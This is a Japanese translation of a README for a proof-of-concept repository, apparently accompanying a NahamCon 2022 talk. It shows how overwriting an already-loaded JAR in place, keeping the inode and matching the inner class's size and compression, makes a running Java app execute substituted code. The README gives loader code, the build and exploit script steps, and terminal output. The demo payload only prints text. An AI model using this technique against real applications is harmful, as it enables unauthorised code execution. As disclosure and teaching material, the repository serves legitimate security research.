以下のサンプルコードは、inode が変更されない限り、内部クラスが呼び出されたときに JAR ファイルへアクセスするという事実を悪用して、既にロードされた JAR ファイルをホットスワップし、コード実行を得る能力を示しています。
MacOS + OpenJDK でテスト済み(また、Apple の Author パブリッシャーを Transporter を使って悪用した実績もあります)。
Frans Rosén 氏の NahamCon 2022 EU での講演「Story of a RCE on Apple through hot jar swapping」からのデモです。
build-and-run.shこのように実行します:
./build-and-run.sh
これにより以下が行われます:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper は URLClassLoader を使って HelloWorld.Main クラスをロードして実行し、既にロードされている HelloWorld.Secondary クラスのメソッド hello を実行するよう促します。これは、既にロードされた JAR をいつ置き換えるかを制御するためです。
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
JAR を置き換えずに Enter を押すかどうかを選択できます。その場合、HelloWorld/Secondary.java からの正しいコードフローが表示されます:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shexploit.sh は以下の処理を行います:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
HelloWorld.jar を exploit.jar で上書きする際のコピー処理は重要です。inode が変わると exploit は成功しないからです。mv コマンドは新しい inode を書き込みますが、既存ファイルへの cp では inode は変わりません。ZIP 展開を使った場合も同様で、既存の JAR の inode は変わらず、exploit が機能するようになります。
ホットJARスワップをテストするには、build-and-run.sh を実行した後、Enter を押す前に、別のウィンドウで exploit.sh を実行してください:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
ここで ./build-and-run.sh に対して Enter を押すと、置き換えられたコードが正常に表示されるはずです:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
これは、URLClassLoader が置き換え前に JAR を既にロードしていたとしても、内部クラス/匿名クラスが物理的な JAR ファイルからまだロードされているという事実を悪用できることを示しています。
このコードリポジトリは、いくつかの前提条件の下で、既にロードされた JAR ファイルを上書きしてコード実行を得ることができることを説明しようとしています。
考え方としては、JAR が最初に URLClassLoader でロードされた場合です:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
また、セカンダリメソッドもブート時にロードされましたが、呼び出されることはありませんでした:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
アプリの実行中に JAR が置き換えられ、ロードされたがメソッドが呼び出されたことがないクラスも内部クラスを持つ場合、後で呼び出しが行われたときに、新しい JAR から異なるコードを実行させることができます:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
つまり、このメソッドが内部クラスを含み(それらは JAR 内で $1.class として現れます)、その内部クラスを同じサイズと圧縮率のものに置き換えれば、JAR をホットスワップして独自のコードを実行させることができます。
Exploit/HelloWorld/Secondary.java の匿名クラスは、HelloWorld/Secondary.java がコンパイル・圧縮されたときと同じサイズと圧縮率の内部クラス Exploit/HelloWorld/Secondary$1.class にコンパイルされます。サイズまたは圧縮率が異なる場合、build-and-run.sh で Enter をクリックしたときにクラッシュします。
例えば、Exploit/HelloWorld/Secondary.java を(function: の代わりに functionn に)変更した場合:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
圧縮結果は同じでも圧縮率が異なる場合:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
次のような出力になります:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
OpenJDK では、元のサイズが異なっていても圧縮サイズが同じであれば、依然として機能するようです:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
exploit.sh は依然として差分があると表示します。すべてのバージョンで機能するとは限らないためです。
また、Exploit/HelloWorld/Secondary.java の内部クラスの外側を変更した場合、例えば:
System.out.println("\nEnd of run, goodbye");
を次のように変更:
System.out.println("\nEnd of run, goodbya");
この場合、Secondary.class は同じ圧縮率とサイズになりますが、クラスは既に URLClassLoader によってロードされているため、置き換えられた内容は実行されません。これは、JAR 内で使用される際に JAR ファイルからロードされる内部クラス(JAR 内で $1.class と名付けられたもの)にのみ影響することを裏付けています:
End of run, goodbye